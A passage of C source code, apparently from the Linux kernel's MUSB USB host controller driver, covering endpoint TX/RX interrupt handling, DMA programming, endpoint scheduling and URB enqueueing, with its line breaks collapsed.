MUSB_CSR0_TXPKTRDY; /* disable ping token in status phase */ csr |= MUSB_CSR0_H_DIS_PING; /* flag status stage */ musb->ep0_stage = MUSB_EP0_STATUS; musb_dbg(musb, "ep0 STATUS, csr %04x", csr); } musb_writew(epio, MUSB_CSR0, csr); retval = IRQ_HANDLED; } else musb->ep0_stage = MUSB_EP0_IDLE; /* call completion handler if done */ if (complete) musb_advance_schedule(musb, urb, hw_ep, 1); done: return retval; } #ifdef CONFIG_USB_INVENTRA_DMA /* Host side TX (OUT) using Mentor DMA works as follows: submit_urb -> - if queue was empty, Program Endpoint - ... which starts DMA to fifo in mode 1 or 0 DMA Isr (transfer complete) -> TxAvail() - Stop DMA (~DmaEnab) (<--- Alert ... currently happens only in musb_cleanup_urb) - TxPktRdy has to be set in mode 0 or for short packets in mode 1. */ #endif /* Service a Tx-Available or dma completion irq for the endpoint */ void musb_host_tx(struct musb *musb, u8 epnum) { int pipe; bool done = false; u16 tx_csr; size_t length = 0; size_t offset = 0; struct musb_hw_ep *hw_ep = musb->endpoints + epnum; void __iomem *epio = hw_ep->regs; struct musb_qh *qh = hw_ep->out_qh; struct urb *urb = next_urb(qh); u32 status = 0; void __iomem *mbase = musb->mregs; struct dma_channel *dma; bool transfer_pending = false; musb_ep_select(mbase, epnum); tx_csr = musb_readw(epio, MUSB_TXCSR); /* with CPPI, DMA sometimes triggers "extra" irqs */ if (!urb) { musb_dbg(musb, "extra TX%d ready, csr %04x", epnum, tx_csr); return; } pipe = urb->pipe; dma = is_dma_capable() ? hw_ep->tx_channel : NULL; trace_musb_urb_tx(musb, urb); musb_dbg(musb, "OUT/TX%d end, csr %04x%s", epnum, tx_csr, dma ? ", dma" : ""); /* check for errors */ if (tx_csr & MUSB_TXCSR_H_RXSTALL) { /* dma was disabled, fifo flushed */ musb_dbg(musb, "TX end %d stall", epnum); /* stall; record URB status */ status = -EPIPE; } else if (tx_csr & MUSB_TXCSR_H_ERROR) { /* (NON-ISO) dma was disabled, fifo flushed */ musb_dbg(musb, "TX 3strikes on ep=%d", epnum); status = -ETIMEDOUT; } else if (tx_csr & MUSB_TXCSR_H_NAKTIMEOUT) { if (USB_ENDPOINT_XFER_BULK == qh->type && qh->mux == 1 && !list_is_singular(&musb->out_bulk)) { musb_dbg(musb, "NAK timeout on TX%d ep", epnum); musb_bulk_nak_timeout(musb, hw_ep, 0); } else { musb_dbg(musb, "TX ep%d device not responding", epnum); /* NOTE: this code path would be a good place to PAUSE a * transfer, if there's some other (nonperiodic) tx urb * that could use this fifo. (dma complicates it...) * That's already done for bulk RX transfers. * * if (bulk && qh->ring.next != &musb->out_bulk), then * we have a candidate... NAKing is *NOT* an error */ musb_ep_select(mbase, epnum); musb_writew(epio, MUSB_TXCSR, MUSB_TXCSR_H_WZC_BITS | MUSB_TXCSR_TXPKTRDY); } return; } done: if (status) { if (dma_channel_status(dma) == MUSB_DMA_STATUS_BUSY) { dma->status = MUSB_DMA_STATUS_CORE_ABORT; musb->dma_controller->channel_abort(dma); } /* do the proper sequence to abort the transfer in the * usb core; the dma engine should already be stopped. */ musb_h_tx_flush_fifo(hw_ep); tx_csr &= ~(MUSB_TXCSR_AUTOSET | MUSB_TXCSR_DMAENAB | MUSB_TXCSR_H_ERROR | MUSB_TXCSR_H_RXSTALL | MUSB_TXCSR_H_NAKTIMEOUT ); musb_ep_select(mbase, epnum); musb_writew(epio, MUSB_TXCSR, tx_csr); /* REVISIT may need to clear FLUSHFIFO ... */ musb_writew(epio, MUSB_TXCSR, tx_csr); musb_writeb(epio, MUSB_TXINTERVAL, 0); done = true; } /* second cppi case */ if (dma_channel_status(dma) == MUSB_DMA_STATUS_BUSY) { musb_dbg(musb, "extra TX%d ready, csr %04x", epnum, tx_csr); return; } if (is_dma_capable() && dma && !status) { /* * DMA has completed. But if we're using DMA mode 1 (multi * packet DMA), we need a terminal TXPKTRDY interrupt before * we can consider this transfer completed, lest we trash * its last packet when writing the next URB's data. So we * switch back to mode 0 to get that interrupt; we'll come * back here once it happens. */ if (tx_csr & MUSB_TXCSR_DMAMODE) { /* * We shouldn't clear DMAMODE with DMAENAB set; so * clear them in a safe order. That should be OK * once TXPKTRDY has been set (and I've never seen * it being 0 at this moment -- DMA interrupt latency * is significant) but if it hasn't been then we have * no choice but to stop being polite and ignore the * programmer's guide... :-) * * Note that we must write TXCSR with TXPKTRDY cleared * in order not to re-trigger the packet send (this bit * can't be cleared by CPU), and there's another caveat: * TXPKTRDY may be set shortly and then cleared in the * double-buffered FIFO mode, so we do an extra TXCSR * read for debouncing... */ tx_csr &= musb_readw(epio, MUSB_TXCSR); if (tx_csr & MUSB_TXCSR_TXPKTRDY) { tx_csr &= ~(MUSB_TXCSR_DMAENAB | MUSB_TXCSR_TXPKTRDY); musb_writew(epio, MUSB_TXCSR, tx_csr | MUSB_TXCSR_H_WZC_BITS); } tx_csr &= ~(MUSB_TXCSR_DMAMODE | MUSB_TXCSR_TXPKTRDY); musb_writew(epio, MUSB_TXCSR, tx_csr | MUSB_TXCSR_H_WZC_BITS); /* * There is no guarantee that we'll get an interrupt * after clearing DMAMODE as we might have done this * too late (after TXPKTRDY was cleared by controller). * Re-read TXCSR as we have spoiled its previous value. */ tx_csr = musb_readw(epio, MUSB_TXCSR); } /* * We may get here from a DMA completion or TXPKTRDY interrupt. * In any case, we must check the FIFO status here and bail out * only if the FIFO still has data -- that should prevent the * "missed" TXPKTRDY interrupts and deal with double-buffered * FIFO mode too... */ if (tx_csr & (MUSB_TXCSR_FIFONOTEMPTY | MUSB_TXCSR_TXPKTRDY)) { musb_dbg(musb, "DMA complete but FIFO not empty, CSR %04x", tx_csr); return; } } if (!status || dma || usb_pipeisoc(pipe)) { if (dma) length = dma->actual_len; else length = qh->segsize; qh->offset += length; if (usb_pipeisoc(pipe)) { struct usb_iso_packet_descriptor *d; d = urb->iso_frame_desc + qh->iso_idx; d->actual_length = length; d->status = status; if (++qh->iso_idx >= urb->number_of_packets) { done = true; } else { d++; offset = d->offset; length = d->length; } } else if (dma && urb->transfer_buffer_length == qh->offset) { done = true; } else { /* see if we need to send more data, or ZLP */ if (qh->segsize < qh->maxpacket) done = true; else if (qh->offset == urb->transfer_buffer_length && !(urb->transfer_flags & URB_ZERO_PACKET)) done = true; if (!done) { offset = qh->offset; length = urb->transfer_buffer_length - offset; transfer_pending = true; } } } /* urb->status != -EINPROGRESS means request has been faulted, * so we must abort this transfer after cleanup */ if (urb->status != -EINPROGRESS) { done = true; if (status == 0) status = urb->status; } if (done) { /* set status */ urb->status = status; urb->actual_length = qh->offset; musb_advance_schedule(musb, urb, hw_ep, USB_DIR_OUT); return; } else if ((usb_pipeisoc(pipe) || transfer_pending) && dma) { if (musb_tx_dma_program(musb->dma_controller, hw_ep, qh, urb, offset, length)) { if (is_cppi_enabled(musb) || tusb_dma_omap(musb)) musb_h_tx_dma_start(hw_ep); return; } } else if (tx_csr & MUSB_TXCSR_DMAENAB) { musb_dbg(musb, "not complete, but DMA enabled?"); return; } /* * PIO: start next packet in this URB. * * REVISIT: some docs say that when hw_ep->tx_double_buffered, * (and presumably, FIFO is not half-full) we should write *two* * packets before updating TXCSR; other docs disagree... */ if (length > qh->maxpacket) length = qh->maxpacket; /* Unmap the buffer so that CPU can use it */ usb_hcd_unmap_urb_for_dma(musb->hcd, urb); /* * We need to map sg if the transfer_buffer is * NULL. */ if (!urb->transfer_buffer) { /* sg_miter_start is already done in musb_ep_program */ if (!sg_miter_next(&qh->sg_miter)) { dev_err(musb->controller, "error: sg list empty\n"); sg_miter_stop(&qh->sg_miter); status = -EINVAL; goto done; } length = min_t(u32, length, qh->sg_miter.length); musb_write_fifo(hw_ep, length, qh->sg_miter.addr); qh->sg_miter.consumed = length; sg_miter_stop(&qh->sg_miter); } else { musb_write_fifo(hw_ep, length, urb->transfer_buffer + offset); } qh->segsize = length; musb_ep_select(mbase, epnum); musb_writew(epio, MUSB_TXCSR, MUSB_TXCSR_H_WZC_BITS | MUSB_TXCSR_TXPKTRDY); } #ifdef CONFIG_USB_TI_CPPI41_DMA /* Seems to set up ISO for cppi41 and not advance len. See commit c57c41d */ static int musb_rx_dma_iso_cppi41(struct dma_controller *dma, struct musb_hw_ep *hw_ep, struct musb_qh *qh, struct urb *urb, size_t len) { struct dma_channel *channel = hw_ep->rx_channel; void __iomem *epio = hw_ep->regs; dma_addr_t *buf; u32 length; u16 val; buf = (void *)urb->iso_frame_desc[qh->iso_idx].offset + (u32)urb->transfer_dma; length = urb->iso_frame_desc[qh->iso_idx].length; val = musb_readw(epio, MUSB_RXCSR); val |= MUSB_RXCSR_DMAENAB; musb_writew(hw_ep->regs, MUSB_RXCSR, val); return dma->channel_program(channel, qh->maxpacket, 0, (u32)buf, length); } #else static inline int musb_rx_dma_iso_cppi41(struct dma_controller *dma, struct musb_hw_ep *hw_ep, struct musb_qh *qh, struct urb *urb, size_t len) { return false; } #endif #if defined(CONFIG_USB_INVENTRA_DMA) || defined(CONFIG_USB_UX500_DMA) || \ defined(CONFIG_USB_TI_CPPI41_DMA) /* Host side RX (IN) using Mentor DMA works as follows: submit_urb -> - if queue was empty, ProgramEndpoint - first IN token is sent out (by setting ReqPkt) LinuxIsr -> RxReady() /\ => first packet is received | - Set in mode 0 (DmaEnab, ~ReqPkt) | -> DMA Isr (transfer complete) -> RxReady() | - Ack receive (~RxPktRdy), turn off DMA (~DmaEnab) | - if urb not complete, send next IN token (ReqPkt) | | else complete urb. | | --------------------------- * * Nuances of mode 1: * For short packets, no ack (+RxPktRdy) is sent automatically * (even if AutoClear is ON) * For full packets, ack (~RxPktRdy) and next IN token (+ReqPkt) is sent * automatically => major problem, as collecting the next packet becomes * difficult. Hence mode 1 is not used. * * REVISIT * All we care about at this driver level is that * (a) all URBs terminate with REQPKT cleared and fifo(s) empty; * (b) termination conditions are: short RX, or buffer full; * (c) fault modes include * - iff URB_SHORT_NOT_OK, short RX status is -EREMOTEIO. * (and that endpoint's dma queue stops immediately) * - overflow (full, PLUS more bytes in the terminal packet) * * So for example, usb-storage sets URB_SHORT_NOT_OK, and would * thus be a great candidate for using mode 1 ... for all but the * last packet of one URB's transfer. */ static int musb_rx_dma_inventra_cppi41(struct dma_controller *dma, struct musb_hw_ep *hw_ep, struct musb_qh *qh, struct urb *urb, size_t len) { struct dma_channel *channel = hw_ep->rx_channel; void __iomem *epio = hw_ep->regs; u16 val; int pipe; bool done; pipe = urb->pipe; if (usb_pipeisoc(pipe)) { struct usb_iso_packet_descriptor *d; d = urb->iso_frame_desc + qh->iso_idx; d->actual_length = len; /* even if there was an error, we did the dma * for iso_frame_desc->length */ if (d->status != -EILSEQ && d->status != -EOVERFLOW) d->status = 0; if (++qh->iso_idx >= urb->number_of_packets) { done = true; } else { /* REVISIT: Why ignore return value here? */ if (musb_dma_cppi41(hw_ep->musb)) done = musb_rx_dma_iso_cppi41(dma, hw_ep, qh, urb, len); done = false; } } else { /* done if urb buffer is full or short packet is recd */ done = (urb->actual_length + len >= urb->transfer_buffer_length || channel->actual_len < qh->maxpacket || channel->rx_packet_done); } /* send IN token for next packet, without AUTOREQ */ if (!done) { val = musb_readw(epio, MUSB_RXCSR); val |= MUSB_RXCSR_H_REQPKT; musb_writew(epio, MUSB_RXCSR, MUSB_RXCSR_H_WZC_BITS | val); } return done; } /* Disadvantage of using mode 1: * It's basically usable only for mass storage class; essentially all * other protocols also terminate transfers on short packets. * * Details: * An extra IN token is sent at the end of the transfer (due to AUTOREQ) * If you try to use mode 1 for (transfer_buffer_length - 512), and try * to use the extra IN token to grab the last packet using mode 0, then * the problem is that you cannot be sure when the device will send the * last packet and RxPktRdy set. Sometimes the packet is recd too soon * such that it gets lost when RxCSR is re-set at the end of the mode 1 * transfer, while sometimes it is recd just a little late so that if you * try to configure for mode 0 soon after the mode 1 transfer is * completed, you will find rxcount 0. Okay, so you might think why not * wait for an interrupt when the pkt is recd. Well, you won't get any! */ static int musb_rx_dma_in_inventra_cppi41(struct dma_controller *dma, struct musb_hw_ep *hw_ep, struct musb_qh *qh, struct urb *urb, size_t len, u8 iso_err) { struct musb *musb = hw_ep->musb; void __iomem *epio = hw_ep->regs; struct dma_channel *channel = hw_ep->rx_channel; u16 rx_count, val; int length, pipe, done; dma_addr_t buf; rx_count = musb_readw(epio, MUSB_RXCOUNT); pipe = urb->pipe; if (usb_pipeisoc(pipe)) { int d_status = 0; struct usb_iso_packet_descriptor *d; d = urb->iso_frame_desc + qh->iso_idx; if (iso_err) { d_status = -EILSEQ; urb->error_count++; } if (rx_count > d->length) { if (d_status == 0) { d_status = -EOVERFLOW; urb->error_count++; } musb_dbg(musb, "** OVERFLOW %d into %d", rx_count, d->length); length = d->length; } else length = rx_count; d->status = d_status; buf = urb->transfer_dma + d->offset; } else { length = rx_count; buf = urb->transfer_dma + urb->actual_length; } channel->desired_mode = 0; #ifdef USE_MODE1 /* because of the issue below, mode 1 will * only rarely behave with correct semantics. */ if ((urb->transfer_flags & URB_SHORT_NOT_OK) && (urb->transfer_buffer_length - urb->actual_length) > qh->maxpacket) channel->desired_mode = 1; if (rx_count < hw_ep->max_packet_sz_rx) { length = rx_count; channel->desired_mode = 0; } else { length = urb->transfer_buffer_length; } #endif /* See comments above on disadvantages of using mode 1 */ val = musb_readw(epio, MUSB_RXCSR); val &= ~MUSB_RXCSR_H_REQPKT; if (channel->desired_mode == 0) val &= ~MUSB_RXCSR_H_AUTOREQ; else val |= MUSB_RXCSR_H_AUTOREQ; val |= MUSB_RXCSR_DMAENAB; /* autoclear shouldn't be set in high bandwidth */ if (qh->hb_mult == 1) val |= MUSB_RXCSR_AUTOCLEAR; musb_writew(epio, MUSB_RXCSR, MUSB_RXCSR_H_WZC_BITS | val); /* REVISIT if when actual_length != 0, * transfer_buffer_length needs to be * adjusted first... */ done = dma->channel_program(channel, qh->maxpacket, channel->desired_mode, buf, length); if (!done) { dma->channel_release(channel); hw_ep->rx_channel = NULL; channel = NULL; val = musb_readw(epio, MUSB_RXCSR); val &= ~(MUSB_RXCSR_DMAENAB | MUSB_RXCSR_H_AUTOREQ | MUSB_RXCSR_AUTOCLEAR); musb_writew(epio, MUSB_RXCSR, val); } return done; } #else static inline int musb_rx_dma_inventra_cppi41(struct dma_controller *dma, struct musb_hw_ep *hw_ep, struct musb_qh *qh, struct urb *urb, size_t len) { return false; } static inline int musb_rx_dma_in_inventra_cppi41(struct dma_controller *dma, struct musb_hw_ep *hw_ep, struct musb_qh *qh, struct urb *urb, size_t len, u8 iso_err) { return false; } #endif /* * Service an RX interrupt for the given IN endpoint; docs cover bulk, iso, * and high-bandwidth IN transfer cases. */ void musb_host_rx(struct musb *musb, u8 epnum) { struct urb *urb; struct musb_hw_ep *hw_ep = musb->endpoints + epnum; struct dma_controller *c = musb->dma_controller; void __iomem *epio = hw_ep->regs; struct musb_qh *qh = hw_ep->in_qh; size_t xfer_len; void __iomem *mbase = musb->mregs; u16 rx_csr, val; bool iso_err = false; bool done = false; u32 status; struct dma_channel *dma; unsigned int sg_flags = SG_MITER_ATOMIC | SG_MITER_TO_SG; musb_ep_select(mbase, epnum); urb = next_urb(qh); dma = is_dma_capable() ? hw_ep->rx_channel : NULL; status = 0; xfer_len = 0; rx_csr = musb_readw(epio, MUSB_RXCSR); val = rx_csr; if (unlikely(!urb)) { /* REVISIT -- THIS SHOULD NEVER HAPPEN ... but, at least * usbtest #11 (unlinks) triggers it regularly, sometimes * with fifo full. (Only with DMA??) */ musb_dbg(musb, "BOGUS RX%d ready, csr %04x, count %d", epnum, val, musb_readw(epio, MUSB_RXCOUNT)); musb_h_flush_rxfifo(hw_ep, MUSB_RXCSR_CLRDATATOG); return; } trace_musb_urb_rx(musb, urb); /* check for errors, concurrent stall & unlink is not really * handled yet! */ if (rx_csr & MUSB_RXCSR_H_RXSTALL) { musb_dbg(musb, "RX end %d STALL", epnum); /* stall; record URB status */ status = -EPIPE; } else if (rx_csr & MUSB_RXCSR_H_ERROR) { musb_dbg(musb, "end %d RX proto error", epnum); status = -EPROTO; musb_writeb(epio, MUSB_RXINTERVAL, 0); rx_csr &= ~MUSB_RXCSR_H_ERROR; musb_writew(epio, MUSB_RXCSR, rx_csr); } else if (rx_csr & MUSB_RXCSR_DATAERROR) { if (USB_ENDPOINT_XFER_ISOC != qh->type) { musb_dbg(musb, "RX end %d NAK timeout", epnum); /* NOTE: NAKing is *NOT* an error, so we want to * continue. Except ... if there's a request for * another QH, use that instead of starving it. * * Devices like Ethernet and serial adapters keep * reads posted at all times, which will starve * other devices without this logic. */ if (usb_pipebulk(urb->pipe) && qh->mux == 1 && !list_is_singular(&musb->in_bulk)) { musb_bulk_nak_timeout(musb, hw_ep, 1); return; } musb_ep_select(mbase, epnum); rx_csr |= MUSB_RXCSR_H_WZC_BITS; rx_csr &= ~MUSB_RXCSR_DATAERROR; musb_writew(epio, MUSB_RXCSR, rx_csr); goto finish; } else { musb_dbg(musb, "RX end %d ISO data error", epnum); /* packet error reported later */ iso_err = true; } } else if (rx_csr & MUSB_RXCSR_INCOMPRX) { musb_dbg(musb, "end %d high bandwidth incomplete ISO packet RX", epnum); status = -EPROTO; } /* faults abort the transfer */ if (status) { /* clean up dma and collect transfer count */ if (dma_channel_status(dma) == MUSB_DMA_STATUS_BUSY) { dma->status = MUSB_DMA_STATUS_CORE_ABORT; musb->dma_controller->channel_abort(dma); xfer_len = dma->actual_len; } musb_h_flush_rxfifo(hw_ep, MUSB_RXCSR_CLRDATATOG); musb_writeb(epio, MUSB_RXINTERVAL, 0); done = true; goto finish; } if (unlikely(dma_channel_status(dma) == MUSB_DMA_STATUS_BUSY)) { /* SHOULD NEVER HAPPEN ... but at least DaVinci has done it */ ERR("RX%d dma busy, csr %04x\n", epnum, rx_csr); goto finish; } /* thorough shutdown for now ... given more precise fault handling * and better queueing support, we might keep a DMA pipeline going * while processing this irq for earlier completions. */ /* FIXME this is _way_ too much in-line logic for Mentor DMA */ if (!musb_dma_inventra(musb) && !musb_dma_ux500(musb) && (rx_csr & MUSB_RXCSR_H_REQPKT)) { /* REVISIT this happened for a while on some short reads... * the cleanup still needs investigation... looks bad... * and also duplicates dma cleanup code above ... plus, * shouldn't this be the "half full" double buffer case? */ if (dma_channel_status(dma) == MUSB_DMA_STATUS_BUSY) { dma->status = MUSB_DMA_STATUS_CORE_ABORT; musb->dma_controller->channel_abort(dma); xfer_len = dma->actual_len; done = true; } musb_dbg(musb, "RXCSR%d %04x, reqpkt, len %zu%s", epnum, rx_csr, xfer_len, dma ? ", dma" : ""); rx_csr &= ~MUSB_RXCSR_H_REQPKT; musb_ep_select(mbase, epnum); musb_writew(epio, MUSB_RXCSR, MUSB_RXCSR_H_WZC_BITS | rx_csr); } if (dma && (rx_csr & MUSB_RXCSR_DMAENAB)) { xfer_len = dma->actual_len; val &= ~(MUSB_RXCSR_DMAENAB | MUSB_RXCSR_H_AUTOREQ | MUSB_RXCSR_AUTOCLEAR | MUSB_RXCSR_RXPKTRDY); musb_writew(hw_ep->regs, MUSB_RXCSR, val); if (musb_dma_inventra(musb) || musb_dma_ux500(musb) || musb_dma_cppi41(musb)) { done = musb_rx_dma_inventra_cppi41(c, hw_ep, qh, urb, xfer_len); musb_dbg(hw_ep->musb, "ep %d dma %s, rxcsr %04x, rxcount %d", epnum, done ? "off" : "reset", musb_readw(epio, MUSB_RXCSR), musb_readw(epio, MUSB_RXCOUNT)); } else { done = true; } } else if (urb->status == -EINPROGRESS) { /* if no errors, be sure a packet is ready for unloading */ if (unlikely(!(rx_csr & MUSB_RXCSR_RXPKTRDY))) { status = -EPROTO; ERR("Rx interrupt with no errors or packet!\n"); /* FIXME this is another "SHOULD NEVER HAPPEN" */ /* SCRUB (RX) */ /* do the proper sequence to abort the transfer */ musb_ep_select(mbase, epnum); val &= ~MUSB_RXCSR_H_REQPKT; musb_writew(epio, MUSB_RXCSR, val); goto finish; } /* we are expecting IN packets */ if ((musb_dma_inventra(musb) || musb_dma_ux500(musb) || musb_dma_cppi41(musb)) && dma) { musb_dbg(hw_ep->musb, "RX%d count %d, buffer 0x%llx len %d/%d", epnum, musb_readw(epio, MUSB_RXCOUNT), (unsigned long long) urb->transfer_dma + urb->actual_length, qh->offset, urb->transfer_buffer_length); if (musb_rx_dma_in_inventra_cppi41(c, hw_ep, qh, urb, xfer_len, iso_err)) goto finish; else dev_err(musb->controller, "error: rx_dma failed\n"); } if (!dma) { unsigned int received_len; /* Unmap the buffer so that CPU can use it */ usb_hcd_unmap_urb_for_dma(musb->hcd, urb); /* * We need to map sg if the transfer_buffer is * NULL. */ if (!urb->transfer_buffer) { qh->use_sg = true; sg_miter_start(&qh->sg_miter, urb->sg, 1, sg_flags); } if (qh->use_sg) { if (!sg_miter_next(&qh->sg_miter)) { dev_err(musb->controller, "error: sg list empty\n"); sg_miter_stop(&qh->sg_miter); status = -EINVAL; done = true; goto finish; } urb->transfer_buffer = qh->sg_miter.addr; received_len = urb->actual_length; qh->offset = 0x0; done = musb_host_packet_rx(musb, urb, epnum, iso_err); /* Calculate the number of bytes received */ received_len = urb->actual_length - received_len; qh->sg_miter.consumed = received_len; sg_miter_stop(&qh->sg_miter); } else { done = musb_host_packet_rx(musb, urb, epnum, iso_err); } musb_dbg(musb, "read %spacket", done ? "last " : ""); } } finish: urb->actual_length += xfer_len; qh->offset += xfer_len; if (done) { if (qh->use_sg) { qh->use_sg = false; urb->transfer_buffer = NULL; } if (urb->status == -EINPROGRESS) urb->status = status; musb_advance_schedule(musb, urb, hw_ep, USB_DIR_IN); } } /* schedule nodes correspond to peripheral endpoints, like an OHCI QH. * the software schedule associates multiple such nodes with a given * host side hardware endpoint + direction; scheduling may activate * that hardware endpoint. */ static int musb_schedule( struct musb *musb, struct musb_qh *qh, int is_in) { int idle = 0; int best_diff; int best_end, epnum; struct musb_hw_ep *hw_ep = NULL; struct list_head *head = NULL; u8 toggle; u8 txtype; struct urb *urb = next_urb(qh); /* use fixed hardware for control and bulk */ if (qh->type == USB_ENDPOINT_XFER_CONTROL) { head = &musb->control; hw_ep = musb->control_ep; goto success; } /* else, periodic transfers get muxed to other endpoints */ /* * We know this qh hasn't been scheduled, so all we need to do * is choose which hardware endpoint to put it on ... * * REVISIT what we really want here is a regular schedule tree * like e.g. OHCI uses. */ best_diff = 4096; best_end = -1; for (epnum = 1, hw_ep = musb->endpoints + 1; epnum < musb->nr_endpoints; epnum++, hw_ep++) { int diff; if (musb_ep_get_qh(hw_ep, is_in) != NULL) continue; if (hw_ep == musb->bulk_ep) continue; if (is_in) diff = hw_ep->max_packet_sz_rx; else diff = hw_ep->max_packet_sz_tx; diff -= (qh->maxpacket * qh->hb_mult); if (diff >= 0 && best_diff > diff) { /* * Mentor controller has a bug in that if we schedule * a BULK Tx transfer on an endpoint that had earlier * handled ISOC then the BULK transfer has to start on * a zero toggle. If the BULK transfer starts on a 1 * toggle then this transfer will fail as the mentor * controller starts the Bulk transfer on a 0 toggle * irrespective of the programming of the toggle bits * in the TXCSR register. Check for this condition * while allocating the EP for a Tx Bulk transfer. If * so skip this EP. */ hw_ep = musb->endpoints + epnum; toggle = usb_gettoggle(urb->dev, qh->epnum, !is_in); txtype = (musb_readb(hw_ep->regs, MUSB_TXTYPE) >> 4) & 0x3; if (!is_in && (qh->type == USB_ENDPOINT_XFER_BULK) && toggle && (txtype == USB_ENDPOINT_XFER_ISOC)) continue; best_diff = diff; best_end = epnum; } } /* use bulk reserved ep1 if no other ep is free */ if (best_end < 0 && qh->type == USB_ENDPOINT_XFER_BULK) { hw_ep = musb->bulk_ep; if (is_in) head = &musb->in_bulk; else head = &musb->out_bulk; /* Enable bulk RX/TX NAK timeout scheme when bulk requests are * multiplexed. This scheme does not work in high speed to full * speed scenario as NAK interrupts are not coming from a * full speed device connected to a high speed device. * NAK timeout interval is 8 (128 uframe or 16ms) for HS and * 4 (8 frame or 8ms) for FS device. */ if (qh->dev) qh->intv_reg = (USB_SPEED_HIGH == qh->dev->speed) ? 8 : 4; goto success; } else if (best_end < 0) { dev_err(musb->controller, "%s hwep alloc failed for %dx%d\n", musb_ep_xfertype_string(qh->type), qh->hb_mult, qh->maxpacket); return -ENOSPC; } idle = 1; qh->mux = 0; hw_ep = musb->endpoints + best_end; musb_dbg(musb, "qh %p periodic slot %d", qh, best_end); success: if (head) { idle = list_empty(head); list_add_tail(&qh->ring, head); qh->mux = 1; } qh->hw_ep = hw_ep; qh->hep->hcpriv = qh; if (idle) musb_start_urb(musb, is_in, qh); return 0; } static int musb_urb_enqueue( struct usb_hcd *hcd, struct urb *urb, gfp_t mem_flags) { unsigned long flags; struct musb *musb = hcd_to_musb(hcd); struct usb_host_endpoint *hep = urb->ep; struct musb_qh *qh; struct usb_endpoint_descriptor *epd = &hep->desc; int ret; unsigned type_reg; unsigned interval; /* host role must be active */ if (!is_host_active(musb) || !musb->is_active) return -ENODEV; trace_musb_urb_enq(musb, urb); spin_lock_irqsave(&musb->lock, flags); ret = usb_hcd_link_urb_to_ep(hcd, urb); qh = ret ? NULL : hep->hcpriv; if (qh) urb->hcpriv = qh; spin_unlock_irqrestore(&musb->lock, flags); /* DMA mapping was already done, if needed, and this urb is on * hep->urb_list now ... so we're done, unless hep wasn't yet * scheduled onto a live qh. * * REVISIT best to keep hep->hcpriv valid until the endpoint gets * disabled, testing for empty qh->ring and avoiding qh setup costs * except for the first urb queued after a config change. */ if (qh || ret) return ret; /* Allocate and initialize qh, minimizing the work done each time * hw_ep gets reprogrammed, or with irqs blocked. Then schedule it. * * REVISIT consider a dedicated qh kmem_cache, so it's harder * for bugs in other kernel code to break this driver... */ qh = kzalloc(sizeof *qh, mem_flags); if (!qh) { spin_lock_irqsave(&musb->lock, flags); usb_hcd_unlink_urb_from_ep(hcd, urb); spin_unlock_irqrestore(&musb->lock, flags); return -ENOMEM; } qh->hep = hep; qh->dev = urb->dev; INIT_LIST_HEAD(&qh->ring); qh->is_ready = 1; qh->maxpacket = usb_endpoint_maxp(epd); qh->type = usb_endpoint_type(epd); /* Bits 11 & 12 of wMaxPacketSize encode high bandwidth multiplier. * Some musb cores don't support high bandwidth ISO transfers; and * we don't (yet!) support high bandwidth interrupt transfers. */ qh->hb_mult = usb_endpoint_maxp_mult(epd); if (qh->hb_mult > 1) { int ok = (qh->type == USB_ENDPOINT_XFER_ISOC); if (ok) ok = (usb_pipein(urb->pipe) && musb->hb_iso_rx) || (usb_pipeout(urb->pipe) && musb->hb_iso_tx); if (!ok) { dev_err(musb->controller, "high bandwidth %s (%dx%d) not supported\n", musb_ep_xfertype_string(qh->type), qh->hb_mult, qh->maxpacket & 0x7ff); ret = -EMSGSIZE; goto done; } qh->maxpacket &= 0x7ff; } qh->epnum = usb_endpoint_num(epd); /* NOTE: urb->dev->devnum is wrong during SET_ADDRESS */ qh->addr_reg = (u8) usb_pipedevice(urb->pipe); /* precompute rxtype/txtype/type0 register */ type_reg = (qh->type << 4) | qh->epnum; switch (urb->dev->speed) { case USB_SPEED_LOW: type_reg |= 0xc0; break; case USB_SPEED_FULL: type_reg |= 0x80; break; default: type_reg |= 0x40; } qh->type_reg = type_reg; /* Precompute RXINTERVAL/TXINTERVAL register */ switch (qh->type) { case USB_ENDPOINT_XFER_INT: /* * Full/low speeds use the linear encoding, * high speed uses the logarithmic encoding. */ if (urb->dev->speed <= USB_SPEED_FULL) { interval = max_t(u8, epd->bInterval, 1); break; } /* FALLTHROUGH */ case USB_ENDPOINT_XFER_ISOC: /* ISO always uses logarithmic encoding */ interval = min_t(u8, epd->bInterval, 16); break; default: /* REVISIT we actually want to use NAK limits, hinting to the * transfer scheduling logic to try some other qh, e.g. try * for 2 msec first: * * interval = (USB_SPEED_HIGH == urb->dev->speed) ? 16 : 2; * * The downside of disabling this is that transfer scheduling * gets VERY unfair for nonperiodic transfers; a misbehaving * peripheral could make that hurt. That's perfectly normal * for reads from network or serial adapters ... so we have * partial NAKlimit support for bulk RX. * * The upside of disabling it is simpler transfer scheduling. */ interval = 0; } qh->intv_reg = interval; /* precompute addressing for external hub/tt ports */ if (musb->is_multipoint) { struct usb_device *parent = urb->dev->parent; if (parent != hcd->self.root_hub) { qh->h_addr_reg = (u8) parent->devnum; /* set up tt info if needed */ if (urb->dev->tt) { qh->h_port_reg = (u8) urb->dev->ttport; if (urb->dev->tt->hub) qh->h_addr_reg = (u8) urb->dev->tt->hub->devnum; if (urb->dev->tt->multi) qh->h_addr_reg |= 0x80; } } } /* invariant: hep->hcpriv is null OR the qh that's already scheduled. * until we get real dma queues (with an entry for each urb/buffer), * we only have work to do in the former case. */ spin_lock_irqsave(&musb->lock, flags); if (hep->hcpriv || !next_urb(qh)) { /* some concurrent activity submitted another urb to hep... * odd, rare, error prone, but legal. */ kfree(qh); qh = NULL; ret = 0; } else ret = musb_schedule(musb, qh, epd->bEndpointAddress & USB_ENDPOINT_DIR_MASK); if (ret == 0) { urb->hcpriv = qh; /* FIXME set urb->start_frame for iso/intr, it's tested in * musb_start_urb(), but otherwise only konicawc cares ... */ } spin_unlock_irqrestore(&musb->lock, flags); done: if (ret != 0) { spin_lock_irqsave(&musb->lock, flags); usb_hcd_unlink_urb_from_ep(hcd, urb); spin_unlock_irqrestore(&musb->lock, flags); kfree(qh); } return ret; } /* * abort a transfer that's at the head of a hardware queue. * called with controller locked, irqs blocked * that hardware queue advances to the next transfer, unless prevented */ static int musb_cleanup_urb(struct urb *urb, struct musb_qh *qh) { struct musb_hw_ep *ep = qh->hw_ep; struct musb *musb = ep->musb; void __iomem *epio = ep->regs; unsigned hw_end = ep->epnum; void __iomem *regs = ep->musb->mregs; int is_in = usb_pipein(urb->pipe); int status = 0; u16 csr; struct dma_channel *dma = NULL; musb_ep_select(regs, 